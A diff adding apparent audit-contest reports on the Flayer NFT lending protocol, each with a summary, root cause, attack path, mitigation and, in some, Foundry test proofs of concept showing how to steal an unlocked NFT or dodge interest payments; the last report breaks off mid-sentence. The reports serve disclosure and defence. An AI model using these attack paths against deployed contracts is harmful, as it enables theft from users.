\ No newline at end of file
diff --git a/001/601.md b/001/601.md
new file mode 100644
index 0000000..d9c6b54
--- /dev/null
+++ b/001/601.md
@@ -0,0 +1,124 @@
+Shiny Glass Hare
+
+Medium
+
+# Owner Can Lose The Token After Being Unlocked but Not Withdrawn
+
+## Summary
+
+The `unlockProtectedListing` function allows a user to unlock an NFT and make it withdrawable for themselves. However, if the user does not immediately withdraw the NFT, another user can front-run the process by swapping, redeeming, or buying the NFT, as there is no protection mechanism preventing this. The `Locker::isListing` function fails to correctly identify the unlocked NFT as being in a protected state, allowing it to be redeemed.
+
+## Vulnerability Detail
+
+When the unlockProtectedListing function is called, the NFT owner can either withdraw the NFT or leave it in the contract for later withdrawal. However If the NFT is not withdrawn immediately, a malicious user can swap, redeem, or buy the unlocked NFT.
+
+Inside the unlockProtectedListing function, if the owner opts not to withdraw the NFT, the listing owner is set to zero and the NFT becomes withdrawable later by the rightful owner.
+```solidity
+ // Delete the listing objects
+ delete _protectedListings[_collection][_tokenId];
+
+ // Transfer the listing ERC721 back to the user
+ if (_withdraw) {
+ locker.withdrawToken(_collection, _tokenId, msg.sender);
+ emit ListingAssetWithdraw(_collection, _tokenId);
+ } else {
+ canWithdrawAsset[_collection][_tokenId] = msg.sender;
+ }
+```
+However, due to this owner field being set to zero, the `Locker::isListing function` incorrectly interprets the NFT as no longer being protected, allowing other users to redeem or buy the unlocked NFT before the rightful owner can withdraw it.
+
+```solidity
+ function isListing(address _collection, uint _tokenId) public view returns (bool) {
+ IListings _listings = listings;
+
+ // Check if we have a liquid or dutch listing
+ if (_listings.listings(_collection, _tokenId).owner != address(0)) {
+ return true;
+ }
+
+ // Check if we have a protected listing
+ if (_listings.protectedListings().listings(_collection, _tokenId).owner != address(0)) {
+ return true;
+ }
+
+ return false;
+ }
+```
+
+
+Test:
+```solidity
+ function test_redeemBeforeOner(uint _tokenId, uint96 _tokensTaken) public {
+
+ _assumeValidTokenId(_tokenId);
+ vm.assume(_tokensTaken >= 0.1 ether);
+ vm.assume(_tokensTaken <= 1 ether - protectedListings.KEEPER_REWARD());
+
+ // Set the owner to one of our test users (Alice)
+ address payable _owner = users[0];
+
+ // Mint our token to the _owner and approve the {Listings} contract to use it
+ erc721a.mint(_owner, _tokenId);
+
+ // Create our listing
+ vm.startPrank(_owner);
+ erc721a.approve(address(protectedListings), _tokenId);
+ _createProtectedListing({
+ _listing: IProtectedListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenId),
+ listing: IProtectedListings.ProtectedListing({
+ owner: _owner,
+ tokenTaken: _tokensTaken,
+ checkpoint: 0
+ })
+ })
+ });
+
+ // Approve the ERC20 token to be used by the listings contract to unlock the listings
+ locker.collectionToken(address(erc721a)).approve(
+ address(protectedListings),
+ _tokensTaken
+ );
+
+ protectedListings.unlockProtectedListing(
+ address(erc721a),
+ _tokenId,
+ false
+ );
+
+ vm.stopPrank();
+
+ // Approve the ERC20 token to be used by the listings contract to unlock the listings
+ locker.collectionToken(address(erc721a)).approve(
+ address(locker),
+ 1000000000000 ether
+ );
+ //@audit another user can redeem before owner.
+ uint[] memory redeemTokenIds = new uint[](1);
+ redeemTokenIds[0] = _tokenId;
+ locker.redeem(address(erc721a), redeemTokenIds);
+
+ vm.prank(_owner);
+ // Owner cant withdraw anymore since they have been redeemed
+ protectedListings.withdrawProtectedListing(address(erc721a), _tokenId);
+ }
+```
+
+## Impact
+
+original owner might lose the NFT to a malicious actor who front-runs the withdrawal process
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L314
+https://github.com/sherlock-audit/2024-08-
+flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L438
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Modify isListing function: Ensure that tokens marked as canWithdrawAsset are still considered active listings until they are fully withdrawn by their rightful owner.
\ No newline at end of file
diff --git a/001/602.md b/001/602.md
new file mode 100644
index 0000000..4d375a0
--- /dev/null
+++ b/001/602.md
@@ -0,0 +1,123 @@
+Tall Ultraviolet Turkey
+
+High
+
+# Unable to cancel the listing after relisting with a future creation timestamp
+
+### Summary
+
+The [relist](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L625) function in `Listings.sol` permits users to relist a listing with a future creation timestamp. Nonetheless, following the relisting, the relister is unable to cancel the listing due to arithmetic underflow occurring at the [_resolveListingTax](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L918) function.
+
+### Root Cause
+
+- [The comment](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L855) suggests that the protocol permits users to create a listing with a future timestamp.
+> // This is an edge case, but protects against potential future logic. If the
+> // listing starts in the future, then we can't sell the listing.
+
+- In the following [code snippet](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L933), the relister encounters difficulty in obtaining the accurate refund amount due to the condition where `block.timestamp < _listing.created`, resulting in an arithmetic underflow.
+```solidity
+ if (block.timestamp < _listing.created + _listing.duration) {
+ refund_ = (_listing.duration - (block.timestamp - _listing.created)) * taxPaid / _listing.duration;
+ }
+```
+
+### External pre-conditions
+
+- The lister creates a listing with a listing multiplier exceeding 1.00.
+- The relister then uses the `relist` function, setting a future created timestamp.
+- Subsequently, the relister aims to cancel the listing and opts not to sell it.
+
+### Impact
+
+The relister is limited to using the `modifyListings` function to adjust the listing created, ensuring the created timestamp is earlier than the current time to successfully cancel the listing. However, this approach diminishes the significance of the `cancelListings` function, as users are unable to cancel listings directly using it. If relisters must consistently modify listings, it allows others to purchase or exchange the NFT before the relister can call `cancelListings`, regardless of whether the relister possesses sufficient tokens to cancel the listing.
+
+
+### PoC
+
+```solidity
+ function test_CannotCancelAfterRelisting(
+ address _lister,
+ address payable _relister,
+ uint _tokenId,
+ uint16 _floorMultiple
+ ) public {
+ // Ensure that we don't get a token ID conflict
+ _assumeValidTokenId(_tokenId);
+
+ // Ensure that we don't set a zero address for our lister and relister, and that they aren't the same address
+ _assumeValidAddress(_lister);
+ _assumeValidAddress(_relister);
+ vm.assume(_lister != _relister);
+
+ // Ensure that our listing multiplier is above 1.00
+ _assumeRealisticFloorMultiple(_floorMultiple);
+
+ // Provide a token into the core Locker to create a Floor item
+ erc721a.mint(_lister, _tokenId);
+
+ vm.startPrank(_lister);
+ erc721a.approve(address(locker), _tokenId);
+
+ uint[] memory tokenIds = new uint[](1);
+ tokenIds[0] = _tokenId;
+
+ // Rather than creating a listing, we will deposit it as a floor token
+ locker.deposit(address(erc721a), tokenIds);
+ vm.stopPrank();
+
+ // Confirm that our listing user has received the underlying ERC20. From the deposit this will be a straight 1:1 swap.
+ ICollectionToken token = locker.collectionToken(address(erc721a));
+ assertEq(token.balanceOf(_lister), 1 ether);
+
+ vm.startPrank(_relister);
+
+ // Provide our relister with sufficient, approved ERC20 tokens to make the relist and make sure relister have enough token to cancel the listing
+ deal(address(token), _relister, 2 ether);
+ token.approve(address(listings), type(uint).max);
+
+ // Relist our floor item into one of various collections
+ listings.relist({
+ _listing: IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenId),
+ listing: IListings.Listing({
+ owner: _relister,
+ created: uint40(block.timestamp + 3 days),
+ duration: listings.MIN_LIQUID_DURATION(),
+ floorMultiple: _floorMultiple
+ })
+ }),
+ _payTaxWithEscrow: false
+ });
+
+ // Confirm that the listing has been created with the expected details
+ IListings.Listing memory _listing = listings.listings(
+ address(erc721a),
+ _tokenId
+ );
+ assertEq(_listing.created, block.timestamp + 3 days);
+
+ // Try to cancel the listing
+ // FAIL. Reason: panic: arithmetic underflow or overflow (0x11);
+ vm.expectRevert(stdError.arithmeticError);
+ listings.cancelListings(
+ address(erc721a),
+ _tokenIdToArray(_tokenId),
+ false
+ );
+ vm.stopPrank();
+ }
+```
+
+### Mitigation
+
+Implement logic to accurately calculate the refund amount when a future created timestamp is specified.
+```solidity
+ if (block.timestamp < _listing.created + _listing.duration) {
+ if (block.timestamp < _listing.created) {
+ ...
+ } else {
+ refund_ = (_listing.duration - (block.timestamp - _listing.created)) * taxPaid / _listing.duration;
+ }
+ }
+```
\ No newline at end of file
diff --git a/001/610.md b/001/610.md
new file mode 100644
index 0000000..b797529
--- /dev/null
+++ b/001/610.md
@@ -0,0 +1,54 @@
+Obedient Flaxen Peacock
+
+Medium
+
+# FTokens are burned after `quorumVotes` are recorded making a portion of the shares unclaimable
+
+### Summary
+
+`params.quorumVotes` is larger than it should because Locker's collection tokens are [burned](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L245-L251) after `quorumVotes` is recorded.
+
+```solidity
+ uint newQuorum = params.collectionToken.totalSupply() * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT;
+ if (params.quorumVotes != newQuorum) {
+ params.quorumVotes = uint88(newQuorum);
+ }
+
+ // Lockdown the collection to prevent any new interaction
+ // @audit sunsetCollection() burns the Locker's tokens decreasing the `totalSupply`. If this was called before
+ // `params.quorumVotes` was set, the totalSupply() would be smaller and each vote would get more share of the ETH profits.
+ locker.sunsetCollection(_collection);
+```
+
+When a collection is shut down, its NFTs are sold off via Dutch auction in a SudoSwap pool. This sale's ETH profits are distributed to the holders of the collection token (fToken).
+
+The [claim amount](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L310) is calculated with `availableClaim * claimableVotes / params.quorumVotes * 2`. The higher `params.quorumVotes`, the lower the claim amount for each vote.
+
+### Root Cause
+
+`params.quorumVotes` is larger than it should because Locker's collection tokens are [burned](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L245-L251) after `quorumVotes` is recorded.
+
+### Internal pre-conditions
+
+1. At least 50% of Holders have [voted](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L208-L209) for a collection to shut down.
+2. No [listings](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L241) for the target collection exist.
+
+### External pre-conditions
+
+None
+
+### Attack Path
+
+1. Admin calls [`CollectionShutdown::execute()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L231). The vulnerability always happens when this is called.
+
+### Impact
+
+A portion of the claimable ETH can never be claimed and all voters can claim less ETH.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Consider calling `Locker::sunsetCollection()` before setting the `params.quorumVotes` in [`CollectionShutdown::execute()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L245-L251).
\ No newline at end of file
diff --git a/001/611.md b/001/611.md
new file mode 100644
index 0000000..f261895
--- /dev/null
+++ b/001/611.md
@@ -0,0 +1,102 @@
+Uneven Burlap Dalmatian
+
+High
+
+# Anyone can redeem the ```canWithdrawAsset``` token by burning ```1``` ```CollectionToken``` while it is non-floor item leading to stealing it from lister of ```ProtectedListings```.
+
+### Summary
+
+Malicious can redeem his 1 ```CollectionToken``` and steal the non-floor item of someone who had it listed as ```ProtectedListing``` and unlocked it without withdrawing it yet.
+
+### Root Cause
+
+The check ```Locker::isListing()``` does not check if the token to be redeemed in ```Locker::redeem()``` is on the ```ProtectedListings::canWithdrawAsset``` category, but only if there is an active listing on it. We can see the ```Locker::redeem()``` here :
+```solidity
+ function redeem(address _collection, uint[] calldata _tokenIds, address _recipient) public nonReentrant whenNotPaused collectionExists(_collection) {
+ uint tokenIdsLength = _tokenIds.length;
+ if (tokenIdsLength == 0) revert NoTokenIds();
+
+ // Burn the ERC20 tokens from the caller
+ ICollectionToken collectionToken_ = _collectionToken[_collection];
+ collectionToken_.burnFrom(msg.sender, tokenIdsLength * 1 ether * 10 ** collectionToken_.denomination());
+
+ // Define our collection token outside the loop
+ IERC721 collection = IERC721(_collection);
+
+ // Loop through the tokenIds and redeem them
+ for (uint i; i < tokenIdsLength; ++i) {
+ // Ensure that the token requested is not a listing
+@> if (isListing(_collection, _tokenIds[i])) revert TokenIsListing(_tokenIds[i]);
+
+ // Transfer the collection token to the caller
+ collection.transferFrom(address(this), _recipient, _tokenIds[i]);
+ }
+
+ emit TokenRedeem(_collection, _tokenIds, msg.sender, _recipient);
+ }
+```
+[Link to code](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L209C1-L230C6)
+
+We can see the highlighted ```Locker::isListing``` check here :
+```solidity
+ function isListing(address _collection, uint _tokenId) public view returns (bool) {
+ IListings _listings = listings;
+
+ // Check if we have a liquid or dutch listing
+ if (_listings.listings(_collection, _tokenId).owner != address(0)) {
+ return true;
+ }
+
+ // Check if we have a protected listing
+ if (_listings.protectedListings().listings(_collection, _tokenId).owner != address(0)) {
+ return true;
+ }
+
+ return false;
+ }
+```
+[Link to code](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L438C1-L452C6)
+
+As we can see, it only checks if the token to be redeemed has an active listing on either ```Listing``` or ```ProtectedListing```. However, this is not the only case where a token must not be redeemed by anyone. After the ```ProtectedListing```, the lister has the option to let the token in the ```Locker``` and enable the ```canWithdrawAsset```. We can see it here :
+```solidity
+ function unlockProtectedListing(address _collection, uint _tokenId, bool _withdraw) public lockerNotPaused {
+ // ...
+
+ // Delete the listing objects
+@> delete _protectedListings[_collection][_tokenId];
+
+ // Transfer the listing ERC721 back to the user
+ if (_withdraw) {
+ locker.withdrawToken(_collection, _tokenId, msg.sender);
+ emit ListingAssetWithdraw(_collection, _tokenId);
+ } else {
+@> canWithdrawAsset[_collection][_tokenId] = msg.sender;
+ }
+ // ...
+ }
+```
+[Link to code](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L287C1-L329C6)
+
+As we can see, the related ```ProtectedListing``` is deleted and it is just saved in the ```canWithdrawMapping```. However, this is not taken into consideration in the ```Locker::redeem()```, so anyone can **steal** it by burning 1 ```CollectionToken```.
+
+### Internal pre-conditions
+1. User had created a ```ProtectedListing```.
+2. User unlocked his ```ProtectedListing``` and selected to not withdraw immediately his asset.
+
+### External pre-conditions
+1. Attacker calling ```Locker::redeem()``` and steal the user's token by burning only 1 ```CollectionToken```.
+
+### Attack Path
+1. User list a token for ```ProtectedListing```.
+2. User unlock the token but doesn't withdraw it.
+3. And, now, everyone can just redeem it and take it from the ```Locker```.
+
+### Impact
+The impact of this critical vulnerability is the theft of a token that worths > 1 ```CollectionToken``` and, nevertheless , it is not for sale. Also, this will totally messes up the accountings of NFTs <-> ```CollectionsTokens```
+since only one collection token burned while it shouldn't be the case. At the end, someone can steal a token that the owner of it does not want to give it.
+
+### PoC
+No PoC needed.
+
+### Mitigation
+Ensure that ```Locker::isListing()``` check, also checks if the asset is in ```canWithdrawAsset``` mode from ```ProtectedListings```, since technically it still is listing.
\ No newline at end of file
diff --git a/001/613.md b/001/613.md
new file mode 100644
index 0000000..5f616fc
--- /dev/null
+++ b/001/613.md
@@ -0,0 +1,65 @@
+Noisy Carmine Starling
+
+High
+
+# withdrawProtectedListing will Does not work
+
+### Summary
+
+withdrawProtectedListing will does not work, resulting in the user being unable to withdraw NFT
+
+### Root Cause
+ function unlockProtectedListing has one parameter which is _withdraw,
+which allows the user to choose whether to withdraw NFT now or later.
+```solidity
+if (_withdraw) {
+ locker.withdrawToken(_collection, _tokenId, msg.sender);
+ emit ListingAssetWithdraw(_collection, _tokenId);
+ } else {
+ canWithdrawAsset[_collection][_tokenId] = msg.sender;
+ }
+```
+```solidity
+function withdrawProtectedListing(address _collection, uint _tokenId) public lockerNotPaused {
+ // Ensure that the asset has been marked as withdrawable
+ address _owner = canWithdrawAsset[_collection][_tokenId];
+ if (_owner != msg.sender) revert CallerIsNotOwner(_owner);
+
+ // Mark the asset as withdrawn
+ delete canWithdrawAsset[_collection][_tokenId];
+
+ // Transfer the asset to the user
+ locker.withdrawToken(_collection, _tokenId, msg.sender);
+ emit ListingAssetWithdraw(_collection, _tokenId);
+ }
+```
+
+but If the user chooses to withdraw later, The attacker can use Locker.sol swap function to exchange NFT,
+causing the user to be unable to extract NFT
+```solidity
+function swap(address _collection, uint _tokenIdIn, uint _tokenIdOut) public nonReentrant whenNotPaused collectionExists(_collection) {
+ // Ensure that the user is not trying to exchange for same token (that's just weird)
+ if (_tokenIdIn == _tokenIdOut) revert CannotSwapSameToken();
+
+ // Ensure that the token requested is not a listing
+ if (isListing(_collection, _tokenIdOut)) revert TokenIsListing(_tokenIdOut);
+
+ // Transfer the users token into the contract
+ IERC721(_collection).transferFrom(msg.sender, address(this), _tokenIdIn);
+
+ // Transfer the collection token from the caller.
+ IERC721(_collection).transferFrom(address(this), msg.sender, _tokenIdOut);
+
+ emit TokenSwap(_collection, _tokenIdIn, _tokenIdOut, msg.sender);
+ }
+```
+isListing(_collection, _tokenIdOut) This check is invalid
+
+### Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol?plain=1#L287,
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol?plain=1#L320-L322,
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L241
+
+### Impact
+
+Normal users cannot extract NFT
diff --git a/001/614.md b/001/614.md
new file mode 100644
index 0000000..f98c4ca
--- /dev/null
+++ b/001/614.md
@@ -0,0 +1,113 @@
+Shiny Glass Hare
+
+High
+
+# Manipulation of Unlock Price Through Position Adjustment Leading to Incorrect Interest Calculation
+
+## Summary
+
+The unlockPrice function is susceptible to manipulation due to how it calculates the price based on the current tokenTaken amount and initial checpoint. A user can exploit this by adjusting their position, reducing their debt significantly before unlocking to reduce the interest paid. Or another user can adjust to increase his position before unlocking. This leads to incorrect unlock price calculations and allows users to pay less than they should, or alternatively, overpay based on the wrong debt amount.
+
+## Vulnerability Detail
+
+The `unlockPrice` function calculates the final unlock price by considering the tokenTaken and compounding the interest over time. The issue arises when a user calls the `adjustPosition` function to change the tokenTaken value. The unlock price is recalculated based on the adjusted tokenTaken, which could be lower or higher than the initial debt amount.
+
+```solidity
+function unlockPrice(address _collection, uint _tokenId) public view returns (uint unlockPrice_) {
+ // Get the information relating to the protected listing
+ ProtectedListing memory listing = _protectedListings[_collection][_tokenId];
+
+ // Calculate the final amount using the compounded factors and principle amount
+ unlockPrice_ = locker.taxCalculator().compound({
+ _principle: listing.tokenTaken,
+ _initialCheckpoint: collectionCheckpoints[_collection][listing.checkpoint],
+ _currentCheckpoint: _currentCheckpoint(_collection)
+ });
+ }
+```
+
+If a user reduces their debt by adjusting their position before unlocking, the tokenTaken is reduced, and the unlockPrice will be calculated based on the new lower debt. This leads to paying significantly less interest than what should be owed based on the original debt.
+
+For example, if a user initially took 0.2 ETH and accrued interest over time, they could adjust their position by repaying a portion of the debt (e.g., 0.1 ETH), reducing their tokenTaken value to 0.1 ETH. The interest is then recalculated based on the remaining 0.1 ETH, which is incorrect because the interest should still be based on the original 0.2 ETH.
+
+```solidity
+ function adjustPosition(address _collection, uint _tokenId, int _amount) public lockerNotPaused {
+ ...
+ if (_amount < 0) {
+ ...
+ _protectedListings[_collection][_tokenId].tokenTaken -= uint96(absAmount);
+ }
+```
+Conversely, if a user initially borrowed a small amount (e.g., 0.1 ETH) and later increased their position by taking more debt (e.g., 0.9 ETH), the unlock price will be calculated based on the larger debt, despite the initial interest being accrued on the smaller amount. This can cause the user to overpay interest based on the wrong debt value.
+Test:
+
+```solidity
+
+ function test_position() public {
+
+ uint _tokenId = 0;
+ address payable _owner = users[0];
+ ICollectionToken token = locker.collectionToken(address(erc721a));
+ deal(address(token), address(_owner), 100 ether);
+
+ erc721a.mint(_owner, _tokenId);
+
+ // Create our listing
+ vm.startPrank(_owner);
+ erc721a.approve(address(protectedListings), _tokenId);
+ _createProtectedListing({
+ _listing: IProtectedListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenId),
+ listing: IProtectedListings.ProtectedListing({
+ owner: _owner,
+ tokenTaken: 0.2 ether,
+ checkpoint: 0
+ })
+ })
+ });
+
+ locker.collectionToken(address(erc721a)).approve(address(protectedListings),type(uint).max);
+ assertEq(protectedListings.unlockPrice(address(erc721a), _tokenId),0.2 ether);
+
+ // Warp forward to a point
+ vm.warp(block.timestamp + 100 days);
+
+ // Price is incresead normally
+ uint256 interest = 14684931505728000;
+ assertEq(protectedListings.unlockPrice(address(erc721a), _tokenId), 0.2 ether + interest);
+
+ // Half of the initial debt is payed
+ protectedListings.adjustPosition(address(erc721a),_tokenId, -0.1 ether);
+ emit log("unlock price after position adjust");
+
+ // Expected price shoold be more than 0.1ether + whole interest
+ // But current price is 0.1ether + interest / 2
+ assertEq(protectedListings.unlockPrice(address(erc721a), _tokenId), 0.1 ether + interest/2);
+
+ uint256 ownerBalanceBefore= token.balanceOf(_owner);
+ // be the amount of loan that we took out.
+ protectedListings.unlockProtectedListing(
+ address(erc721a),
+ _tokenId,
+ true
+ );
+ assertEq(ownerBalanceBefore-0.1 ether -interest/2, token.balanceOf(_owner));
+ vm.stopPrank();
+ }
+```
+
+## Impact
+Users can pay significantly less interest than what is actually owed by reducing their debt before unlocking their position.
+ Users who increase their debt may end up overpaying interest based on a higher debt amount, despite only having a smaller debt for the majority of the loan period
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L607
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Implement a new logic to keep record of old position interest before adjusting a position.
\ No newline at end of file
diff --git a/001/618.md b/001/618.md
new file mode 100644
index 0000000..71cee64
--- /dev/null
+++ b/001/618.md
@@ -0,0 +1,78 @@
+Obedient Flaxen Peacock
+
+High
+
+# Borrowers can bypass interest payments and pay off principal until 0.06 ether remains
+
+### Summary
+
+When decreasing debt with [`adjustPosition()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L380-L399), the interest is not recorded nor is it paid for by the borrower. The amount paid is directly deducted from the principal.
+
+```solidity
+ uint absAmount = uint(_amount < 0 ? -_amount : _amount);
+
+ // cache
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+
+ // Check if we are decreasing debt
+ if (_amount < 0) {
+ if (debt + int(absAmount) >= int(MAX_PROTECTED_TOKEN_AMOUNT)) revert IncorrectFunctionUse();
+
+ // Take tokens from the caller
+ collectionToken.transferFrom(
+ msg.sender,
+ address(this),
+ absAmount * 10 ** collectionToken.denomination()
+ );
+
+ // Update the struct to reflect the new tokenTaken, protecting from overflow
+ // @audit `tokenTaken` is the principal and this directly deducts the payment from the principal without paying interest.
+ _protectedListings[_collection][_tokenId].tokenTaken -= uint96(absAmount);
+ }
+```
+
+The principal can be decreased down to 0.06e18 at most.
+
+### Root Cause
+
+[`adjustPosition()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L399) allows borrowers to bypass interest payments since they reduce their debt without paying interest owed.
+
+```solidity
+ _protectedListings[_collection][_tokenId].tokenTaken -= uint96(absAmount);
+```
+
+In [`unlockProtectedListing()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L303-L305), the loaned amount plus the interest is paid for.
+
+```solidity
+ // Repay the loaned amount, plus a fee from lock duration
+ // @audit unlockPrice = principal + interest
+ uint fee = unlockPrice(_collection, _tokenId) * 10 ** denomination;
+ collectionToken.burnFrom(msg.sender, fee);
+```
+
+### Internal pre-conditions
+
+None
+
+### External pre-conditions
+
+None
+
+### Attack Path
+
+1. Borrower [creates a protected listing](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L117) and borrows 0.5e18 fTokens.
+2. After some time and before the protected listing can be liquidated, the borrower calls [`adjustPosition()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L386-L399) to pay off 0.44e18 of their loan. This gets deducted directly from the principal and they bypass any interest payments for the locked duration.
+
+### Impact
+
+Borrowers can bypass interest payments on their loan by using [`adjustPosition()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L366) instead of [`unlockProtectedListing()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L287).
+
+The protocol loses greater than 90% of the interest fees.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Consider adjusting the amount deducted from the principal to account for the interest fee payments in [`adjustPosition()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L386-L399).
\ No newline at end of file
diff --git a/001/632.md b/001/632.md
new file mode 100644
index 0000000..e7549ef
--- /dev/null
+++ b/001/632.md
@@ -0,0 +1,89 @@
+Faithful Plum Robin
+
+Medium
+
+# Attacker can manipulate interest rates and force liquidations for protected listings, affecting legitimate users and protocol stability
+
+### Summary
+
+The utilization rate calculation based on listing count rather than borrowed amount will cause an economic vulnerability for legitimate users and the protocol as attackers will create multiple low-value protected listings to artificially inflate interest rates.
+
+### Root Cause
+
+The choice to calculate utilization rate based on listing count rather than total borrowed amount allows for easy manipulation of a key economic parameter.
+
+In ProtectedListings.createListings():
+
+```solidity
+function createListings(CreateListing[] calldata _createListings) public nonReentrant lockerNotPaused {
+ // ...
+ for (uint i; i < _createListings.length; ++i) {
+ // ...
+ _validateCreateListing(listing);
+ // ...
+ unchecked {
+ listingCount[listing.collection] += tokensIdsLength;
+ }
+ // ...
+ }
+}
+```
+Here, listingCount is incremented for each listing, regardless of the borrowed amount.
+
+In ProtectedListings.utilizationRate():
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L273
+```solidity
+function utilizationRate(address _collection) public view virtual returns (uint listingsOfType_, uint utilizationRate_) {
+ listingsOfType_ = listingCount[_collection];
+ if (listingsOfType_ != 0) {
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+ uint totalSupply = collectionToken.totalSupply();
+ if (totalSupply != 0) {
+ utilizationRate_ = (listingsOfType_ * 1e36 * 10 ** collectionToken.denomination()) / totalSupply;
+ }
+ }
+}
+```
+The utilization rate is calculated using listingsOfType_ (which is listingCount) instead of the total borrowed amount. Even though totalsupply will also increase due to mints, the overall utilization rate will still increase
+
+In TaxCalculator.calculateProtectedInterest():
+
+```solidity
+function calculateProtectedInterest(uint _utilizationRate) public pure returns (uint interestRate_) {
+ if (_utilizationRate <= UTILIZATION_KINK) {
+ interestRate_ = 200 + (_utilizationRate * 600) / UTILIZATION_KINK;
+ } else {
+ interestRate_ = (((_utilizationRate - UTILIZATION_KINK) * (100 - 8)) / (1 ether - UTILIZATION_KINK) + 8) * 100;
+ }
+}
+```
+The interest rate is directly calculated from the utilization rate, which can be manipulated as shown above.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. Attacker creates multiple protected listings with minimal borrowed amounts (e.g., 1 wei each as any non-zero borrowing is allowed ).
+2. Each listing increases the listingCount for the collection.
+3. The increased listingCount artificially inflates the utilization rate in utilizationRate().
+4. The inflated utilization rate causes calculateProtectedInterest() to return a higher interest rate.
+5. The attacker can maintain this state by paying minimal interest on their small borrowed amounts.
+
+### Impact
+
+The legitimate users suffer from artificially high interest rates, discouraging them from using the protocol. The protocol suffers reduced activity and potential loss of trust. At the same time fees earned by protocol is low due to minimal interest earned on low amount borrowings by the attacker. Additionally, the artificially high interest rates can be exploited to force liquidations of otherwise healthy positions ahead of time, causing unexpected losses for users. The attacker gains the ability to manipulate a core economic parameter of the protocol at a very low cost.
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/001/636.md b/001/636.md
new file mode 100644
index 0000000..d0c6ed9
--- /dev/null
+++ b/001/636.md
@@ -0,0 +1,48 @@
+Large Mauve Parrot
+
+Medium
+
+# The total supply of collection tokens can change in-between starting a shutdown vote and executing it
+
+### Summary
+
+_No response_
+
+### Root Cause
+
+The function [CollectionShutdown::start()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L135) sets the quorum based on the total supply of collection tokens at the moment of execution:
+
+```solidity
+params.quorumVotes = uint88(totalSupply * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT);
+```
+
+However, between the moment [CollectionShutdown::start()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L135) is called and the moment [CollectionShutdown::execute()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L231) is called the total supply of collection tokens can change.
+
+This is problematic because if the total supply changes the actual quorum won't be `50%` anymore. As an example:
